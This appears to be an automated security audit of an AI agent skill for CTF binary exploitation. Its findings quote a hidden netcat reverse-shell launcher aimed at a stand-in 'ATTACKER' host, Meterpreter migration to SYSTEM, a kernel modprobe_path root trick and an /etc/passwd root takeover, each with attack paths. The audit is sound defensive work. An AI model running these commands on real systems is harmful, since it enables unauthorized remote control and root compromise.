Security audit

Ctf Pwn

Security checks for vulnerabilities and agentic risk

Overview

This is a CTF exploitation reference skill, but it contains operational reverse-shell, privilege-escalation, data-exfiltration, and system-file modification guidance without strong lab-only guardrails.

Install only for controlled CTF or disposable lab use. Do not let an agent run the examples against real systems, production browsers, personal files, or hosts where you lack explicit authorization; use an isolated VM/container and review package installs first.

A.I.G

Vulnerability Patterns

Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Unauthorized Access and Privilege EscalationObtains permissions beyond the task's legitimate needs
Insecure DependenciesIntroduces malicious components through unsafe dependency sources
Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions

Findings (7)

other

Error

Location: advanced-exploits-2.md:479
Finding: Privileged Browser Data Exfiltration to an Attacker-Controlled Server
Content: View full analysis
Remediation: View remediation

T04 · Embedded Malicious Code

Error

Location: advanced-exploits-4.md:54
Finding: Embedded Detached Netcat Reverse-Shell Launcher
Content: View full analysis
int main() { STARTUPINFOA si = {0}; PROCESS_INFORMATION pi = {0}; si.cb = sizeof(si); CreateProcessA(NULL, "C:\\shared\\nc.exe ATTACKER 9002 -e cmd.exe", NULL, NULL, FALSE, CREATE_NEW_PROCESS_GROUP | DETACHED_PROCESS | CREATE_NO_WINDOW, NULL, NULL, &si, &pi); return 0; } ``` ### Technical Analysis The example launches Netcat with `-e cmd.exe`, connecting a Windows command interpreter to an attacker-controlled host. The process is created with `CREATE_NEW_PROCESS_GROUP`, `DETACHED_PROCESS`, and `CREATE_NO_WINDOW`, making the shell hidden and independent of the exploited service thread. The documentation expressly presents detachment as a way to preserve shell stability after exploitation. This is an operational remote-access payload rather than a benign crash or marker-file proof of code execution. The source is contained in Markdown and is not automatically compiled or executed when the Skill is loaded. It becomes active when an agent or user copies, compiles, and runs it. ### Attack Path 1. Exploit the target's memory-corruption vulnerability. 2. Obtain execution in the vulnerable Windows process. 3. Transfer or compile the supplied launcher. 4. Start the launcher from the compromised process. 5. The launcher executes `nc.exe ATTACKER 9002 -e cmd.exe`. 6. Netcat connects to the attacker and exposes an interactive command shell. 7. Detachment keeps the child process alive if the original service thread terminates. ### Impact Assessment Successful use provides remote command execution with the privileges of the compromised Windows process. If the service runs under a privileged account, the reverse shell inherits that authority. It can expose fi ...[truncated 111 chars]
Remediation: View remediation

T05 · Unauthorized Access and Privilege Escalation

Error

Location: advanced-exploits-4.md:73
Finding: SeDebugPrivilege Abuse for Injection into a SYSTEM Process
Content: View full analysis
migrate -N winlogon.exe meterpreter > getuid # NT AUTHORITY\SYSTEM ``` The accompanying text states that Meterpreter injects a DLL into targets such as `winlogon.exe` or `lsass.exe`. ### Technical Analysis `SeDebugPrivilege` permits a process to open and manipulate processes owned by other users. The supplied workflow uses Meterpreter migration to inject into a SYSTEM-owned process and execute with its security token. This crosses a strong operating-system privilege boundary. It is not necessary merely to analyze a binary or prove that an isolated CTF process is vulnerable. Targeting `winlogon.exe` or `lsass.exe` also risks system instability and access to highly sensitive authentication material. ### Attack Path 1. Gain an initial Meterpreter session on the target. 2. Enumerate process privileges and identify `SeDebugPrivilege`. 3. Enable the privilege through Meterpreter. 4. Select a SYSTEM-owned process such as `winlogon.exe`. 5. Use `migrate -N winlogon.exe` to inject Meterpreter into that process. 6. Inherit the target process's SYSTEM security context. 7. Execute commands and access resources as `NT AUTHORITY\SYSTEM`. ### Impact Assessment The resulting session has SYSTEM-level control over the Windows host. This permits access to protected files and processes, security-control modification, credential access, creation of additional accounts or services, and ...[truncated 34 chars]
Remediation: View remediation

T05 · Unauthorized Access and Privilege Escalation

Error

Location: kernel.md:388
Finding: Kernel modprobe_path Overwrite for Root Script Execution
Content: View full analysis
/tmp/evil.sh echo 'cat /flag > /tmp/output' >> /tmp/evil.sh echo 'chmod 777 /tmp/output' >> /tmp/evil.sh chmod +x /tmp/evil.sh # 2. Overwrite modprobe_path with "/tmp/evil.sh" using your AAW primitive # 3. Create and execute a malformed binary (non-printable first 4 bytes) echo -ne '\xff\xff\xff\xff' > /tmp/trigger chmod +x /tmp/trigger /tmp/trigger # 4. Read the flag cat /tmp/output ``` ### Technical Analysis The technique assumes an arbitrary kernel-address write and uses it to replace the global `modprobe_path` value with the path of an attacker-controlled script. Executing a malformed binary causes the kernel's module-loading path to invoke that script as root when `CONFIG_STATIC_USERMODEHELPER` does not prevent the behavior. The script copies a protected flag into a world-readable file. The same primitive could execute arbitrary root commands, not only read a CTF flag. ### Attack Path 1. Exploit a kernel vulnerability to obtain an arbitrary-address-write primitive. 2. Create an executable attacker-controlled shell script. 3. Overwrite the kernel's `modprobe_path` with the script path. 4. Create a malformed executable whose initial bytes do not match a supported binary format. 5. Execute the malformed file. 6. Cause the kernel to request a binary-format module. 7. Have the kernel run the substituted script with root authority. 8. Read the protected output or perform other root operations. ### Impact Assessment Successful exploitation gives effective root command execution and compromises the entire guest or host kernel environment. The attacker can read protected files, alter credentials, disable security controls, manipulate devices, and install additional persistence. The instructions are framed as CTF material, but ...[truncated 94 chars]
Remediation: View remediation

T05 · Unauthorized Access and Privilege Escalation

Error

Location: kernel.md:460
Finding: core_pattern Overwrite Creates a Reusable Root Execution Trigger
Content: View full analysis
Remediation: View remediation

T05 · Unauthorized Access and Privilege Escalation

Error

Location: sandbox-escape.md:38
Finding: Root Account Takeover Through /etc/passwd Modification
Content: View full analysis
/dev/backdoor # 511 decimal = 0777 octal (rwx for all) # Now modify passwd to get root echo "root::0:0:root:/root:/bin/sh" > /etc/passwd su root ``` The same section recommends targeting `/etc/passwd`, `/etc/shadow`, or `/etc/sudoers` from a restricted environment. ### Technical Analysis The documented CUSE/FUSE handler accepts a path and mode from an unprivileged writer and calls `chmod` under the daemon's root authority. The example makes `/etc/passwd` world-writable, replaces its root entry with a passwordless account, and invokes `su root`. This abuses a privileged device daemon as a confused deputy and directly compromises the host authentication database. It exceeds the least privilege needed to demonstrate a device-handler vulnerability. ### Attack Path 1. Identify a writable CUSE/FUSE character device backed by a root daemon. 2. Send a crafted command naming `/etc/passwd` and mode `511` decimal. 3. Cause the privileged daemon to apply mode `0777` to `/etc/passwd`. 4. Replace the root account entry with one containing an empty password field. 5. Run `su root`. 6. Obtain an unrestricted root shell. ### Impact Assessment The technique provides complete local root compromise and damages a central authentication file. It can lock out legitimate users, permit passwordless root access, affect services that parse the file, and facilitate additional persistence or lateral movement. ]]>
Remediation: View remediation

T08 · Insecure Dependencies

Warning

Location: SKILL.md:19
Finding: Unpinned Third-Party Tool Installation
Content: View full analysis
Remediation: View remediation

SkillSpector

Vulnerability Patterns

YARA SignaturesMalware Match, Webshell Match, Cryptominer Match
Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code

Findings (81)

YARA rule 'c2_framework_indicators': Command-and-control framework indicators (Cobalt Strike, Metasploit, Sliver, etc.) [malware]

Critical

Category: YARA Match
Confidence: 98% confidence
Finding: The Meterpreter reference appears in a privilege-escalation workflow (SeDebugPrivilege to SYSTEM via migration into winlogon.exe), which is strongly associated with post-exploitation on real Windows hosts. In this context, it is a concrete offensive tradecraft indicator rather than an accidental keyword match.
Content: Scanner excerpt · SKILL.md (reported line 476)May include surrounding context.
md
SEH (Structured Exception Handler) overwrite with stack pivot to ROP chain. `pushad` builds VirtualAlloc call frame for DEP (Data Execution Prevention) bypass. Detached process launcher for shell stability on thread-based servers. See [advanced-exploits-4.md](advanced-exploits-4.md#windows-seh-overwrite-pushad-virtualalloc-rop-rainbowtwo-htb). ## SeDebugPrivilege → SYSTEM `SeDebugPrivilege` + Meterpreter `migrate -N winlogon.exe` -> SYSTEM. See [advanced-exploits-4.md](advanced-exploits-4.md#sedebugprivilege-to-system-rainbowtwo-htb). ## mmap/munmap Size Mismatch UAF (0CTF 2017) Over-unmap via mmap(small)/munmap(large) destroys adjacent mappings. Thread stack fills gap, old buffer pointer becomes write-into-stack. Race-free UAF variant. See [advanced-exploits-4.md](advanced-exploits-4.md#mmapmunmap-size-mismatch-uaf-for-thread-stack-overlap-0ctf-2017). ## strcspn Indirect Null Byte Injection (BSidesSF 2017) `strcspn(buf, "\r\n")` + null write truncates strings at injected newli

YARA rule 'c2_framework_indicators': Command-and-control framework indicators (Cobalt Strike, Metasploit, Sliver, etc.) [malware]

Critical

Category: YARA Match
Confidence: 99% confidence
Finding: This section gives direct guidance for using Meterpreter to migrate into SYSTEM-owned processes via SeDebugPrivilege, which is a post-exploitation tradecraft pattern strongly associated with real intrusions. In a skill available to an agent, this enables concrete privilege-escalation assistance and process injection guidance with immediate offensive utility.
Content: Scanner excerpt · advanced-exploits-4.md (reported line 75)May include surrounding context.
the correct value, pushad builds the entire STDCALL function call frame in the exact order Windows expects. This avoids the need for mov [esp+N], reg gadgets which are rare.

SeDebugPrivilege to SYSTEM (RainbowTwo HTB)

Exploits SeDebugPrivilege to escalate to SYSTEM by migrating into a SYSTEM-owned process. The privilege allows debugging any process, even if listed as "Disabled" -- Meterpreter enables it automatically before use.

Steps:

Upload Meterpreter payload and obtain a session

Migrate into a SYSTEM-level process:

text
meterpreter > migrate -N winlogon.exe meterpreter > getuid # NT AUTHORITY\SYSTEM

Meterpreter's migrate injects a DLL into the target process (winlogon.exe, lsass.exe), running code as that process's user (SYSTEM).

Detection: whoami /priv shows SeDebugPrivilege. Common on service accounts and NT AUTHORITY\SERVICE.

Key insight: Always run whoami /priv after landing a Windows shell. SeDebugPrivilege -- even w

Ae1

High

Category: analysis-evasion
Confidence: 100% confidence
Finding: Referenced artifact was not completely inspected
Content: Scanner excerpt · SKILL.md (reported line 43)May include surrounding context.
md
- [overflow-basics.md](overflow-basics.md) - Stack/global buffer overflow, ret2win, canary bypass, canary byte-by-byte brute force on forking servers, struct po

Ae1

High

Category: analysis-evasion
Confidence: 100% confidence
Finding: Referenced artifact was not completely inspected
Content: Scanner excerpt · SKILL.md (reported line 132)May include surrounding context.
md
- [overflow-basics.md](overflow-basics.md) - Stack/global buffer overflow, ret2win, canary bypass, canary byte-by-byte brute force on forking servers, struct po

Ae1

High

Category: analysis-evasion
Confidence: 100% confidence
Finding: Referenced artifact was not completely inspected
Content: Scanner excerpt · SKILL.md (reported line 136)May include surrounding context.
md
- [overflow-basics.md](overflow-basics.md) - Stack/global buffer overflow, ret2win, canary bypass, canary byte-by-byte brute force on forking servers, struct po

Ae1

High

Category: analysis-evasion
Confidence: 100% confidence
Finding: Referenced artifact was not completely inspected
Content: Scanner excerpt · SKILL.md (reported line 140)May include surrounding context.
md
- [overflow-basics.md](overflow-basics.md) - Stack/global buffer overflow, ret2win, canary bypass, canary byte-by-byte brute force on forking servers, struct po

Ae1

High

Category: analysis-evasion
Confidence: 100% confidence
Finding: Referenced artifact was not completely inspected
Content: Scanner excerpt · SKILL.md (reported line 144)May include surrounding context.
md
- [overflow-basics.md](overflow-basics.md) - Stack/global buffer overflow, ret2win, canary bypass, canary byte-by-byte brute force on forking servers, struct po

Ae1

High

Category: analysis-evasion
Confidence: 100% confidence
Finding: Referenced artifact was not completely inspected
Content: Scanner excerpt · SKILL.md (reported line 148)May include surrounding context.
md
- [overflow-basics.md](overflow-basics.md) - Stack/global buffer overflow, ret2win, canary bypass, canary byte-by-byte brute force on forking servers, struct po

Ae1

High

Category: analysis-evasion
Confidence: 100% confidence
Finding: Referenced artifact was not completely inspected
Content: Scanner excerpt · SKILL.md (reported line 152)May include surrounding context.
md
- [overflow-basics.md](overflow-basics.md) - Stack/global buffer overflow, ret2win, canary bypass, canary byte-by-byte brute force on forking servers, struct po

Ae1

High

Category: analysis-evasion
Confidence: 100% confidence
Finding: Referenced artifact was not completely inspected
Content: Scanner excerpt · SKILL.md (reported line 366)May include surrounding context.
md
- [overflow-basics.md](overflow-basics.md) - Stack/global buffer overflow, ret2win, canary bypass, canary byte-by-byte brute force on forking servers, struct po

Ae1

High

Category: analysis-evasion
Confidence: 100% confidence
Finding: Referenced artifact was not completely inspected
Content: Scanner excerpt · SKILL.md (reported line 410)May include surrounding context.
md
- [overflow-basics.md](overflow-basics.md) - Stack/global buffer overflow, ret2win, canary bypass, canary byte-by-byte brute force on forking servers, struct po

Ae1

High

Category: analysis-evasion
Confidence: 100% confidence
Finding: Referenced artifact was not completely inspected
Content: Scanner excerpt · SKILL.md (reported line 46)May include surrounding context.
md
- [format-string.md](format-string.md) - Format string exploitation (leaks, GOT overwrite, blind pwn, filter bypass, canary leak, __free_hook, .rela.plt patchin

Ae1

High

Category: analysis-evasion
Confidence: 100% confidence
Finding: Referenced artifact was not completely inspected
Content: Scanner excerpt · SKILL.md (reported line 256)May include surrounding context.
md
- [format-string.md](format-string.md) - Format string exploitation (leaks, GOT overwrite, blind pwn, filter bypass, canary leak, __free_hook, .rela.plt patchin

Ae1

High

Category: analysis-evasion
Confidence: 100% confidence
Finding: Referenced artifact was not completely inspected
Content: Scanner excerpt · SKILL.md (reported line 260)May include surrounding context.
md
- [format-string.md](format-string.md) - Format string exploitation (leaks, GOT overwrite, blind pwn, filter bypass, canary leak, __free_hook, .rela.plt patchin

Ae1

High

Category: analysis-evasion
Confidence: 100% confidence
Finding: Referenced artifact was not completely inspected
Content: Scanner excerpt · SKILL.md (reported line 264)May include surrounding context.
md
- [format-string.md](format-string.md) - Format string exploitation (leaks, GOT overwrite, blind pwn, filter bypass, canary leak, __free_hook, .rela.plt patchin

Ae1

High

Category: analysis-evasion
Confidence: 100% confidence
Finding: Referenced artifact was not completely inspected
Content: Scanner excerpt · SKILL.md (reported line 268)May include surrounding context.
md
- [format-string.md](format-string.md) - Format string exploitation (leaks, GOT overwrite, blind pwn, filter bypass, canary leak, __free_hook, .rela.plt patchin

Ae1

High

Category: analysis-evasion
Confidence: 100% confidence
Finding: Referenced artifact was not completely inspected
Content: Scanner excerpt · SKILL.md (reported line 382)May include surrounding context.
md
- [format-string.md](format-string.md) - Format string exploitation (leaks, GOT overwrite, blind pwn, filter bypass, canary leak, __free_hook, .rela.plt patchin

Ae1

High

Category: analysis-evasion
Confidence: 100% confidence
Finding: Referenced artifact was not completely inspected
Content: Scanner excerpt · SKILL.md (reported line 49)May include surrounding context.
md
- [advanced-exploits.md](advanced-exploits.md) - Advanced exploit techniques (part 1): VM signed comparison, BF JIT shellcode, type confusion, off-by-one index

Ae1

High

Category: analysis-evasion
Confidence: 100% confidence
Finding: Referenced artifact was not completely inspected
Content: Scanner excerpt · SKILL.md (reported line 370)May include surrounding context.
md
- [advanced-exploits.md](advanced-exploits.md) - Advanced exploit techniques (part 1): VM signed comparison, BF JIT shellcode, type confusion, off-by-one index

Ae1

High

Category: analysis-evasion
Confidence: 100% confidence
Finding: Referenced artifact was not completely inspected
Content: Scanner excerpt · SKILL.md (reported line 52)May include surrounding context.
md
- [advanced-exploits-3.md](advanced-exploits-3.md) - Advanced exploit techniques (part 3): stack variable overlap / carry corruption OOB, 1-byte overflow via 8-

Ae1

High

Category: analysis-evasion
Confidence: 100% confidence
Finding: Referenced artifact was not completely inspected
Content: Scanner excerpt · SKILL.md (reported line 326)May include surrounding context.
md
- [advanced-exploits-3.md](advanced-exploits-3.md) - Advanced exploit techniques (part 3): stack variable overlap / carry corruption OOB, 1-byte overflow via 8-

Ae1

High

Category: analysis-evasion
Confidence: 100% confidence
Finding: Referenced artifact was not completely inspected
Content: Scanner excerpt · SKILL.md (reported line 330)May include surrounding context.
md
- [advanced-exploits-3.md](advanced-exploits-3.md) - Advanced exploit techniques (part 3): stack variable overlap / carry corruption OOB, 1-byte overflow via 8-

Ae1

High

Category: analysis-evasion
Confidence: 100% confidence
Finding: Referenced artifact was not completely inspected
Content: Scanner excerpt · SKILL.md (reported line 334)May include surrounding context.
md
- [advanced-exploits-3.md](advanced-exploits-3.md) - Advanced exploit techniques (part 3): stack variable overlap / carry corruption OOB, 1-byte overflow via 8-

Ae1

High

Category: analysis-evasion
Confidence: 100% confidence
Finding: Referenced artifact was not completely inspected
Content: Scanner excerpt · SKILL.md (reported line 338)May include surrounding context.
md
- [advanced-exploits-3.md](advanced-exploits-3.md) - Advanced exploit techniques (part 3): stack variable overlap / carry corruption OOB, 1-byte overflow via 8-

Ae1

High

Category: analysis-evasion
Confidence: 100% confidence
Finding: Referenced artifact was not completely inspected
Content: Scanner excerpt · SKILL.md (reported line 342)May include surrounding context.
md
- [advanced-exploits-3.md](advanced-exploits-3.md) - Advanced exploit techniques (part 3): stack variable overlap / carry corruption OOB, 1-byte overflow via 8-

Overview

A.I.G

other

T04 · Embedded Malicious Code

T05 · Unauthorized Access and Privilege Escalation

T05 · Unauthorized Access and Privilege Escalation

T05 · Unauthorized Access and Privilege Escalation

T05 · Unauthorized Access and Privilege Escalation

T08 · Insecure Dependencies

SkillSpector

YARA rule 'c2_framework_indicators': Command-and-control framework indicators (Cobalt Strike, Metasploit, Sliver, etc.) [malware]

YARA rule 'c2_framework_indicators': Command-and-control framework indicators (Cobalt Strike, Metasploit, Sliver, etc.) [malware]

SeDebugPrivilege to SYSTEM (RainbowTwo HTB)

Ae1

Ae1

Ae1

Ae1

Ae1

Ae1

Ae1

Ae1

Ae1

Ae1

Ae1

Ae1

Ae1

Ae1

Ae1

Ae1

Ae1

Ae1

Ae1

Ae1

Ae1

Ae1

Ae1